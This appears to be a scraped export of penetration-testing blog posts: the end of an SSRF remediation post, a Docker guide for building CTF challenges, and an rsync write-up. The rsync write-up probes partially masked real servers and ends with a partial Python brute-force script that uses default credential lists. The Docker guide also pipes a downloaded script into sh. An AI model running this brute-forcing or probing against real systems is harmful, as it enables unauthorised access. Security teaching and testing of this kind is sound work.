CURLPROTO_HTTP|CURLPROTO_HTTPS); /*\tRestrict the transfer protocols *ps: to allow multiple protocols, just separate them with | */ curl_setopt($curl, CURLOPT_PORT, 80); //Restrict the accessible port curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 0); $responseText = curl_exec($curl); echo $responseText; curl_close($curl); } else{ die(\u0026#34;url is not in the whitelist!\u0026#34;); } ?\u0026gt; Fuzz: protocols supported by cURL 7.61.1 Useful for fuzzing, see http://www.codersec.net/2020/05/SSRF%E6%94%BB%E5%87%BB%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB/\ndict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ","permalink":"https://www.unc.la/en/posts/penetration/uwuqgl/","summary":"\u003cp\u003eFrom the perspective of a security engineer, this post analyzes the causes of SSRF in PHP and how to fix it. Through experiments on a VPS, it introduces the impact and limitations of SSRF vulnerabilities arising from different causes, and closes with an example of secure coding.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1581432420756-90e01855-46d9-4621-ba1d-e196bdfa3bc8.png#align=left\u0026display=inline\u0026height=513\u0026margin=%5Bobject%20Object%5D\u0026originHeight=513\u0026originWidth=847\u0026size=0\u0026status=done\u0026style=none\u0026width=847\"\u003e\u003c/p\u003e\n\u003ch2 id=\"curl-configuration-options\"\u003ecURL Configuration Options\u003c/h2\u003e\n\u003cp\u003eThis section documents the relationship between each cURL configuration option and the resulting type of SSRF vulnerability.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCURLOPT_HEADER\u003c/strong\u003e is 0 in the vast majority of cases; otherwise the \u003ccode\u003eHTTP\u003c/code\u003e response headers are returned along with the body (see image)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1604657225750-6b4683ef-0c36-45d5-8b31-82f2279247db.png\"\u003e\u003c/p\u003e","title":"SSRF: Principles and Remediation"},{"content":"Installing Docker Omitted here — just follow the CentOS Docker installation instructions.\ncurl -sSL https://get.daocloud.io/docker | sh Uninstall old versions\nsudo yum remove docker \\ docker-client \\ docker-client-latest \\ docker-common \\ docker-latest \\ docker-latest-logrotate \\ docker-logrotate \\ docker-engine Note: \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;iptables\u0026lt;/font\u0026gt; must be enabled\nservice iptables restart Restart docker\nservice docker restart Writing the Dockerfile Finding the base environment The first line of the Dockerfile is the base environment of your CTF challenge. For example:\nFROM drupalci/php-5.5.38-apache:dev This means the base environment is the image pulled from hub.docker.com/r/drupalci/php-5.5.38-apache.\nSo where do you find such a base environment?\nSimply search for a suitable version on https://hub.docker.com. Note that you must specify the \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;tag\u0026lt;/font\u0026gt; — that is, the \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;dev\u0026lt;/font\u0026gt; after the colon above — which indicates the middleware version inside the image. A common \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;tag\u0026lt;/font\u0026gt; is \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;latest\u0026lt;/font\u0026gt;.\nTuning environment parameters Sometimes, depending on the environment, we need to modify the middleware configuration, such as the Apache configuration file \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;apache2.conf\u0026lt;/font\u0026gt; or the PHP configuration file \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;php.ini\u0026lt;/font\u0026gt;. That requires writing the corresponding steps in the Dockerfile.\nBelow are the commonly used command patterns; for more details see =\u0026gt;How to Build Images with a Dockerfile\nSample Dockerfile\n# The first line: the base image, same as in point 1 FROM drupalci/php-5.5.38-apache:dev # Put your name/nickname here MAINTAINER unc1e # Put the build date here ENV REFRESHED_AT 2020年8月1日 # Use UTF-8 encoding ENV LANG C.UTF-8 # First: change the package sources / update 【if necessary】 # Replace the sources (use sed here, or directly COPY a full sources.list to replace it) RUN sed -i \u0026#39;s/http:\\/\\/archive.ubuntu.com\\/ubuntu\\//http:\\/\\/mirrors.163.com\\/ubuntu\\//g\u0026#39; /etc/apt/sources.list # Update RUN apt-get update -y # Set the environment variable to non-interactive 【optional, personal preference】. Especially useful when running apt-get, because it keeps prompting the user about the current step and requiring confirmation. # Non-interactive mode picks the default options and finishes the build as fast as possible. # Note: the ENV command takes effect for the entire lifetime of the container, which may cause problems when you interact with the container via BASH ENV DEBIAN_FRONTEND noninteractive # Modify some configuration # For replacing strings in files, use the sed command a lot # For example: remove X-Powered-By from the PHP response headers RUN sed -i \u0026#39;s/expose_php = On/expose_php = Off/\u0026#39; /usr/local/etc/php/php.ini # Only then copy files # Mounting volumes is not recommended, because the image often needs to be exported as a tar archive # ADD automatically extracts archives, while COPY does not ADD html.tgz /var/www # Remaining operations (keep permissions under control) # For example: change the owner of a file RUN chown root:root /var/www/html/x.php # WORKDIR: sets the working directory for the command specified by CMD. WORKDIR /var/www/html/ # Finally handle the flag and startup items # The standard flag format is flag{uuid format} (e.g. flag{8ba868f2-71b6-477b-bc7a-255302c881e1} # If there are special circumstances, explain them, but the flag format must at least be flag{}; other formats are not accepted. # By default the flag value is stored in flag.txt. # If the flag is in a database, remember to set the length of the field holding the flag to greater than 42 # Copy flag.txt to /root/flag.txt COPY flag.txt /root/flag.txt # start.sh is the startup script, containing the commands to run after the container starts COPY start.sh /root/start.sh # Add execute permission RUN chmod +x /root/start.sh # ENTRYPOINT: configures the command executed when the container starts (it will not be ignored and will definitely run) # Using ENTRYPOINT instead of CMD is recommended, because CMD is easily affected by the last RUN command ENTRYPOINT cd /root; ./start.sh # The exposed WEB port defaults to 80, usually just one; if there are special circumstances, state them explicitly # One article points out: the EXPOSE instruction declares the ports the container serves at runtime. It is only a declaration — at runtime the application will not open a service on the port just because of this declaration. Source: https://www.jianshu.com/p/78f4591b7ff0 EXPOSE 80 Image from Zhou Xulong\u0026rsquo;s article: The Dockerfile You Must Know\nWhy is start.sh needed? A reminder here: the Dockerfile only defines the commands/operations to execute once the software starts, and what it can do is limited\nSample start.sh\n#!/bin/bash # Default to bash on the first line # Sleep at least 1 second, but not too long sleep 1 # Start the services, e.g. apache2 # The exact startup command depends on the system environment # Typical apache2 /etc/init.d/apache2 start # Typical nginx # To fit most environments, tweak the nginx config sed -i \u0026#39;s/listen 80 default_server;/listen 80;/\u0026#39; /etc/nginx/sites-enabled/default sed -i \u0026#39;s/listen \\[::\\]:80.*;/#\\0/\u0026#39; /etc/nginx/sites-enabled/default nginx -c /etc/nginx/nginx.conf /etc/init.d/nginx start # To accommodate various docker versions, the mysql startup command is recommended as follows (except for mysqld) find /var/lib/mysql -type f -exec touch {} \\; \u0026amp;\u0026amp; service mysql start # ctf.sql is the database SQL file; import it only after mysql has started. # If the flag is not stored in the database, put the file that holds the flag here instead (e.g. flag.php) # The flag value in the flag file should be written as flag{xxxxxx} (this is set up for dynamic replacement) flagfile=/var/www/html/ctf.sql if [ -f $flagfile ]; then # This replaces the flag value with the value from /root/flag.txt (/root/flag.txt is where the dynamic flag gets delivered automatically) # flag{x*} here corresponds to flag{xxxxxx}, because sed does not support extended regex syntax # If the flag value in the original file is not flag{xxxxxx}, rewrite the line below yourself sed -i \u0026#34;s/flag{x*}/$(cat /root/flag.txt)/\u0026#34; $flagfile # Change the mysql root password (if mysql is used and it must be changed) mysqladmin -u root password \u0026#34;newpasswd\u0026#34; # Import the sql file into mysql (newwpasswd is just an example password) mysql -uroot -pnewpasswd \u0026lt; $flagfile # Delete the sql file (usually it should be deleted) / if it is not an sql file, no need to delete it here rm -f $flagfile fi /bin/bash Configuring the startup command Sometimes, for various special needs — such as implementing a dynamic flag that must be specified from outside the docker container — you need to understand how to write \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose.yml\u0026lt;/font\u0026gt;.\nTo implement a dynamic flag, \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose.yml\u0026lt;/font\u0026gt; and \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;Dockerfile\u0026lt;/font\u0026gt; must work together. Here I use the image of bytectf_2019_babyblog made by zhao-shifu (glzjin) as the illustration.\ndocker-compose.yml docker-compose.yml is a template file; every service defined in it must specify an image via the image directive, or be built automatically via the build directive (requires a Dockerfile).\nBelow is a simple example — with just 1 container.\nversion: \u0026#34;2\u0026#34;# Indicates that this Docker-Compose file uses the Version 2 file format services: web: build: . image: ctftraining/bytectf_2019_babyblog restart: always ports: - \u0026#34;127.0.0.1:8302:80\u0026#34; environment: - FLAG=flag{glzjin_wants_a_girl_firend} Dockerfile FROM orsolin/docker-php-5.3-apache LABEL Author=\u0026#34;glzjin \u0026lt;i@zhaoj.in\u0026gt;\u0026#34; Blog=\u0026#34;https://www.zhaoj.in\u0026#34; COPY ./files /tmp/files RUN mv -f /tmp/files/sources.list /etc/apt/sources.list \\ \u0026amp;\u0026amp; rm -rf /var/www/html/* \\ \u0026amp;\u0026amp; mv -f /tmp/files/init.sql /tmp/db.sql \\ \u0026amp;\u0026amp; mv -f /tmp/files/html/* /var/www/html/ \\ \u0026amp;\u0026amp; apt update \\ \u0026amp;\u0026amp; echo \u0026#34;debconf mysql-server/root_password password root\\ndebconf mysql-server/root_password_again password root\u0026#34; \u0026gt;\u0026gt; /tmp/mysql-passwd \\ \u0026amp;\u0026amp; debconf-set-selections /tmp/mysql-passwd \u0026amp;\u0026amp; apt install mysql-server -y \u0026amp;\u0026amp; rm -rf /tmp/mysql-passwd \\ \u0026amp;\u0026amp; mysql_install_db --user=mysql --datadir=/var/lib/mysql \\ \u0026amp;\u0026amp; sh -c \u0026#39;mysqld_safe \u0026amp;\u0026#39; \\ \u0026amp;\u0026amp; sleep 5s \\ \u0026amp;\u0026amp; mysql -e \u0026#34;source /tmp/db.sql;\u0026#34; -uroot -proot \\ \u0026amp;\u0026amp; echo \u0026#34;magic_quotes_gpc = Off\\nopen_basedir = /var/www/html/:/tmp/:/proc/\\ndisable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail\t\u0026#34; \u0026gt;\u0026gt; /etc/php5/apache2/php.ini \u0026amp;\u0026amp; \\ touch /flag \u0026amp;\u0026amp; \\ mv /tmp/files/readflag /readflag \u0026amp;\u0026amp; \\ chmod 555 /readflag \u0026amp;\u0026amp; \\ chmod u+s /readflag \u0026amp;\u0026amp; \\ chmod 500 /flag WORKDIR /var/www/html/ CMD echo $FLAG \u0026gt;\u0026gt; /flag \u0026amp;\u0026amp; export FLAG=not_flag \u0026amp;\u0026amp; FLAG=not_flag \u0026amp;\u0026amp; find /var/lib/mysql -type f -exec touch {} \\; \u0026amp;\u0026amp; service mysql start \u0026amp;\u0026amp; apache2-foreground As for how to implement a dynamic \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;flag\u0026lt;/font\u0026gt;: you have probably already figured it out — you only need to look at the last line of both files. First, in \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose.yml\u0026lt;/font\u0026gt;, set an environment variable (\u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;environment\u0026lt;/font\u0026gt;) named \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;FLAG\u0026lt;/font\u0026gt;, which is our dynamic flag value; then the command \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;CMD echo $FLAG \u0026gt;\u0026gt; /flag\u0026lt;/font\u0026gt; in the \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;Dockerfile\u0026lt;/font\u0026gt; writes this FLAG into the \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;/flag\u0026lt;/font\u0026gt; file.\nFor the operator, to get a dynamic flag working for a given CTF challenge, you only need to adjust \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose.yml\u0026lt;/font\u0026gt; and then run \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose up -d\u0026lt;/font\u0026gt; — no changes to the \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;Dockerfile\u0026lt;/font\u0026gt; are needed at all. This is very useful in certain scenarios (CTF ranges, AWD).\nHowever, if you still do not understand the relationship between \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose\u0026lt;/font\u0026gt; and \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker\u0026lt;/font\u0026gt;, see =\u0026gt;Docker Microservices Tutorial - Ruan Yifeng\u0026rsquo;s Blog. I summarize it as follows:\nCompose is a tool released by Docker that manages multiple Docker containers as one application. You define a YAML-format configuration file, \u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;docker-compose.yml\u0026lt;/font\u0026gt;, describing how the containers call each other. Then, with a single command, you can start/stop all of these containers together.\nCommon docker-compose operations commands are as follows\n# docker-compose operations commands # Start all services defined in the docker-compose.yml in the current directory $ docker-compose up # Start all services defined in the docker-compose.yml in the current directory and 【run in the background】 $ docker-compose up -d # Stop all services $ docker-compose stop Testing the Docker image After finishing the Dockerfile above and packaging the image, run the following command in the current directory to build the image\n# Build the image docker build -t web_ctf_puzzle:test1 . After a short wait, run the docker images command and you will see the image named web_ctf_puzzle with TAG test1.\nA reminder: some organizations, when collecting challenges, require the author to provide a usable docker image archive (tar package). Possible reasons: on one hand, what gets installed may not be exactly identical to what the author had when building it; on the other hand, the external network may be disconnected during installation. Making a docker image archive is not complicated, though — just follow these commands\n# Export the tar archive docker save web_xxx_name \u0026gt; web_xxx_name.tar Intercommunication between Docker containers In many cases, different docker containers need to access each other (intercommunicate), which requires the corresponding configuration. Below are two interconnection schemes I personally use often\nOption 1: docker run \u0026ndash;links Add the --links option to a standalone docker run command\ndocker run --link can link 2 containers so that the initiating container and the receiving container can communicate with each other. --link has other uses too, but let\u0026rsquo;s set those aside.\nFor example, I first start a redis container with the following command:\n$ docker run -p 6379:6379 --name=\u0026#34;redis\u0026#34; -d docker.io/redis:3-alpine Then, looking at a PHP container on hand, I want it to intercommunicate with redis — I just need to run the following command\n$ docker container run -p 80:80 --name=\u0026#34;web\u0026#34; --link redis:aliasredis -d uploadtest -p port\t-name the 【container】\u0026#39;s name\t--link link the container named redis, and give it the alias aliasredis -d run in the background uploadtest the 【image】\u0026#39;s name\tThis achieves: inside container \u0026lt;font style=\u0026quot;color:#24292E;\u0026quot;\u0026gt;web\u0026lt;/font\u0026gt;, accessing container redis via the alias aliasredis. Its principle is easy to understand: it works by adding name-to-IP resolution entries to /etc/hosts. If you open the /etc/hosts of container \u0026lt;font style=\u0026quot;color:#24292E;\u0026quot;\u0026gt;web\u0026lt;/font\u0026gt;, you will see something like the following\n172.17.0.2 redis Finally, a note:\nDocker officially no longer recommends using docker run \u0026ndash;link to link 2 containers for communication; \u0026ndash;link will be removed in later versions. But understanding its principle is still helpful for how to make 2 containers communicate with each other.\nOption 2: docker-compose.yml In the docker-compose.yml file, specify the link option to interconnect the containers — for example lines 16~17 in the code below\nversion: \u0026#34;2\u0026#34; services: web: container_name: web image: php/5.6-fpm-alpine restart: always build: dockerfile: Dockerfile ports: - \u0026#34;80:80\u0026#34; environment: - FLAG=flag{Upload_Really_Good} redis: container_name: redis links: - web image: redis/redis:3-alpine restart: always ports: - \u0026#34;6379:6379\u0026#34; docker-compose.yml container interconnection example (abridged); full challenge at github.com/hi-unc1e/some_scripts/tree/master/puzzles/uploadTest\nRunning the test Now let\u0026rsquo;s start docker\nCommand to start the image\n$ docker run -p 8088:80 --name=\u0026#34;web_ctf_puzzle_docler\u0026#34; -d web_ctf_puzzle # Options you may use, and their meanings: # -d: run the container in the background and return the container ID; # -P: random port mapping # -h: specify the container\u0026#39;s hostname # --name: specify the container\u0026#39;s name # -p: specify a port mapping, format: host port:container port # -v: bind a volume (--volume), e.g. -v /opt/ctf/src:/var/www/html/ maps the host directory /opt/ctf/src to the container\u0026#39;s /var/www/html/ Successfully building a docker image usually takes round after round of testing and modification; here are some tips for these operations\nTo control the docker (i.e. get into docker\u0026rsquo;s shell), replace 019dfb3e357b in the command below with the CONTAINER ID you get after running docker ps. I\u0026rsquo;m sure you know what I mean ;)\n# Enter the docker\u0026#39;s bash shell; if bash won\u0026#39;t start, try sh docker exec -it 019dfb3e357b bash references How to Build Images with a Dockerfilehttps://segmentfault.com/a/1190000018210280 CTF: Building a WEB Docker Range from Scratchhttps://zhuanlan.zhihu.com/p/60472331 ByteCTF 2019 BabyBloghttps://github.com/glzjin/bytectf_2019_babyblog/ Docker Microservices Tutorialhttps://ruanyifeng.com/blog/2018/02/docker-wordpress-tutorial.html YAML Introductory Tutorialhttps://www.runoob.com/w3cnote/yaml-intro.html ","permalink":"https://www.unc.la/en/posts/penetration/ie51z4/","summary":"\u003ch1 id=\"installing-docker\"\u003e\u003cfont style=\"color:#000000;\"\u003eInstalling Docker\u003c/font\u003e\u003c/h1\u003e\n\u003cp\u003e\u003cfont style=\"color:#000000;\"\u003eOmitted here — just follow the CentOS Docker installation instructions.\u003c/font\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecurl -sSL https://get.daocloud.io/docker \u003cspan class=\"p\"\u003e|\u003c/span\u003e sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cfont style=\"color:#000000;\"\u003eUninstall old versions\u003c/font\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo yum remove docker \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-client \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-client-latest \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-common \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-latest \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-latest-logrotate \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-logrotate \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 docker-engine\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cfont style=\"color:#000000;\"\u003eNote: \u003c/font\u003e\u003ccode\u003e\u0026lt;font style=\u0026quot;color:#000000;\u0026quot;\u0026gt;iptables\u0026lt;/font\u0026gt;\u003c/code\u003e\u003cfont style=\"color:#000000;\"\u003e must be enabled\u003c/font\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eservice iptables restart\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cfont style=\"color:#000000;\"\u003eRestart docker\u003c/font\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eservice docker restart\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"writing-the-dockerfile\"\u003e\u003cfont style=\"color:#000000;\"\u003eWriting the Dockerfile\u003c/font\u003e\u003c/h1\u003e\n\u003ch2 id=\"finding-the-base-environment\"\u003e\u003cfont style=\"color:#000000;\"\u003eFinding the base environment\u003c/font\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cfont style=\"color:#000000;\"\u003eThe first line of the \u003c/font\u003e\u003cfont style=\"color:#000000;\"\u003eDockerfile\u003c/font\u003e\u003cfont style=\"color:#000000;\"\u003e is the base environment of your CTF challenge. For example:\u003c/font\u003e\u003c/p\u003e","title":"A Hands-On Guide to Building a CTF Range Environment with Docker"},{"content":"I ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example this one written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up.\nTraffic Analysis tcpdump -i eth0 net 47.*.*.142 -w access_denied.pcap -v ↑ ↑ ↑ NIC ip path of the file to write Capturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let\u0026rsquo;s analyze each one.\n1. Empty Data After the TCP connection is established, the server first responds with version information, with no paths or other data afterwards.\nThe command lines are as follows:\n$ rsync rsync://222.*.*.163 welcome to zckj ECG service! $ rsync rsync://222.*.*.163/ welcome to zckj ECG service! The corresponding traffic is shown in the figure below:\n2. IP Access Restriction The server restricts which IPs may connect to the rsync service, returning @ERROR: access denied.\nThe command lines are as follows:\n$ rsync rsync://47.*.*.142/ ﻿++++++++++++++++++++++++++++++++++++++++++++++ Welcome to use the posweb2 rsync services! +++++++++++++++++++++++++++++++++++++++++++++ rhel4test interface default posweb2 $ rsync rsync://47.*.*.142/default ﻿++++++++++++++++++++++++++++++++++++++++++++++ Welcome to use the posweb2 rsync services! +++++++++++++++++++++++++++++++++++++++++++++ @ERROR: access denied to default from unknown (x.x.x.x) rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2] The corresponding packets are shown in the figure:\n3. Unauthenticated File Viewing/Downloading Files can be viewed or downloaded without a password.\nThe command lines are as follows:\nrsync rsync://182.*.*.105/ftp/lnmp/js/cross_framing_protection.js -av cross_framing_protection.js rsync rsync://182.*.*.105/ rsync rsync://182.*.*.105/frp/ rsync rsync://182.*.*.105/ftp/ After the server returns the version information, subsequent data contains file path information, along with some information about the rsync server itself:\nAs a side note, here is the content of cross_framing_protection.js:\n/* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Conditionally included if framing is not allowed */ if (self == top) { var style_element = document.getElementById(\u0026#34;cfs-style\u0026#34;); style_element.parentNode.removeChild(style_element); } else { top.location = self.location; } 4. Password Required to Access Files A password is required to access files. Taking a password-protected rsync server as an example, login requires a password. To analyze how the password is transmitted, we enter 123 and 123456:\n$ rsync rsync://115.*.*.9/ nagios pxe iso ks $ rsync rsync://115.*.*.9/ks Password: 123 @ERROR: auth failed on module ks rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2] $ rsync rsync://115.*.*.9/ks Password: 123456 @ERROR: auth failed on module ks rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2] // then entered `123456` two more times The corresponding packet information is shown in the figure below:\nTo make it easier for everyone to analyze the encryption scheme, I\u0026rsquo;ve copied it below as well.\n# 123 @RSYNCD: AUTHREQD +5i4JUkz2ILcsstkVvq+pw root rzSmBKOaIrWVeeAqD9y3Qg # 123456 [1] @RSYNCD: AUTHREQD kr226cbR33Kp7oa/mBkD8Q root sJO2OqB/FrX2AdzExhXRVg # 123456 [2] @RSYNCD: AUTHREQD 4zEjkjnHgAohsbmcGWDAIew root ZQHyePox75RGlDOiSjWyyg # 123456 [3] @RSYNCD: AUTHREQD rmTUiaJNQD/5zenMBaiGuA root gxAlH3oiZ1CgibVelnHanA Now let\u0026rsquo;s analyze how rsync encrypts the password.\nEncryption Scheme Analysis From related materials we know that rsync uses MD5 encryption.\nThrough packet analysis, I confirmed that rsync version 31.0 also uses MD5 challenge encryption, same as 30.0:\nWith both the plaintext and the ciphertext sent during transmission in hand, we can start analyzing the encryption scheme. After analysis, it turns out the scheme is not complicated:\n# final password expression sentPassword = base64(md5(password+challenge)) Brute-Force Script The core code is as follows. The code has been uploaded to GitHub at: https://github.com/hi-unc1e/some_scripts/blob/master/EXPs/rsync_weakpass.py\n#!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#39;\u0026#39;\u0026#39;rsync weak password scanner. rsync may have weak passwords. The PoC outputs 【folders accessible without authentication, usernames, passwords】 in msg. Unauthenticated rsync access brings two main risks: first, serious information disclosure; second, uploading backdoor script files for remote command execution. \u0026#39;\u0026#39;\u0026#39; # copyright information __author__ = \u0026#34;cdxy https://github.com/Xyntax\u0026#34; __reference__ = \u0026#34;https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/rsync-weakpass.py\u0026#34; __modifiedby__ = \u0026#34;unc1e\u0026#34; import socket import struct import hashlib import base64 import signal # usernames and passwords USER_LIST = [\u0026#39;root\u0026#39;, \u0026#39;Administrator\u0026#39;, \u0026#39;rsync\u0026#39;, \u0026#39;user\u0026#39;, \u0026#39;test\u0026#39;] PASS_LIST = [\u0026#39;\u0026#39;, \u0026#39;password\u0026#39;, \u0026#39;123456\u0026#39;, \u0026#39;12345678\u0026#39;, \u0026#39;qwerty\u0026#39;, \u0026#39;admin123\u0026#39;, \u0026#39;test123\u0026#39;, \u0026#39;123456789\u0026#39;] # USER_LIST = [\u0026#39;root\u0026#39;] def initialisation(ip, port): \u0026#39;\u0026#39;\u0026#39; Initialize and get the version info; the version info must be sent at the start of every session \u0026#39;\u0026#39;\u0026#39; try: flag = False s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout(8) rsync = {\u0026#34;MagicHeader\u0026#34;: \u0026#34;@RSYNCD:\u0026#34;, \u0026#34;HeaderVersion\u0026#34;: \u0026#34; 30.0\u0026#34;} payload = struct.pack(\u0026#34;!8s5ss\u0026#34;, rsync[\u0026#34;MagicHeader\u0026#34;].encode(\u0026#34;utf-8\u0026#34;), rsync[\u0026#34;HeaderVersion\u0026#34;].encode(\u0026#34;utf-8\u0026#34;), \u0026#34;\\n\u0026#34;.encode(\u0026#34;utf-8\u0026#34;)) # init port = int(port) s.connect((ip, port)) s.send(payload) data = s.recv(1024) # reply = struct.unpack(\u0026#39;!8s5ss\u0026#39;, data) reply = data.decode() if (\u0026#34;RSYNCD\u0026#34; in reply): flag = True version = reply.split(\u0026#39; \u0026#39;)[1].strip()#31.0 rsynclist = ClientQuery(s) # query module names if flag: return True, \u0026#34;@RSYNCD:\u0026#34;, version, rsynclist except Exception as e: print(\u0026#39;[-]rsync weakpass not found (brute failed)(%s)\u0026#39; % str(e)) def ClientQuery(socket_pre): \u0026#39;\u0026#39;\u0026#39; Query all module names @return module name \u0026#39;\u0026#39;\u0026#39; s = socket_pre payload = struct.pack(\u0026#34;!s\u0026#34;, \u0026#34;\\n\u0026#34;.encode(\u0026#39;utf-8\u0026#39;)) # query modulelist = [] try: s.send(payload) while True: data = s.recv(1024) # Module List lenth 17 moduletemp = struct.unpack(\u0026#34;!\u0026#34; + str(len(data)) + \u0026#34;s\u0026#34;, data) modulename = moduletemp[0].decode().replace(\u0026#34; \u0026#34;, \u0026#34;\u0026#34;).split(\u0026#34;\\n\u0026#34;) for i in range(len(modulename)): realname = modulename[i].split(\u0026#34;\\t\u0026#34;) if realname[0] != \u0026#34;\u0026#34;: modulelist.append(realname[0]) if modulename[-2] == \u0026#34;@RSYNCD:EXIT\u0026#34;: break except Exception as e: print(e) s.close() s.close() return modulelist def ClientCommand(ip, port, cmd): \u0026#39;\u0026#39;\u0026#39;Wrapper method for brute-forcing the password \u0026#39;\u0026#39;\u0026#39; rsync = {\u0026#34;MagicHeader\u0026#34;: \u0026#34;@RSYNCD:\u0026#34;, \u0026#34;HeaderVersion\u0026#34;: \u0026#34; 30.0\u0026#34;} payload1 = struct.pack(\u0026#34;!8s5ss\u0026#34;, rsync[\u0026#34;MagicHeader\u0026#34;].encode(\u0026#34;utf-8\u0026#34;), rsync[\u0026#34;HeaderVersion\u0026#34;].encode(\u0026#34;utf-8\u0026#34;), \u0026#34;\\n\u0026#34;.encode(\u0026#34;utf-8\u0026#34;)) # payload2 = 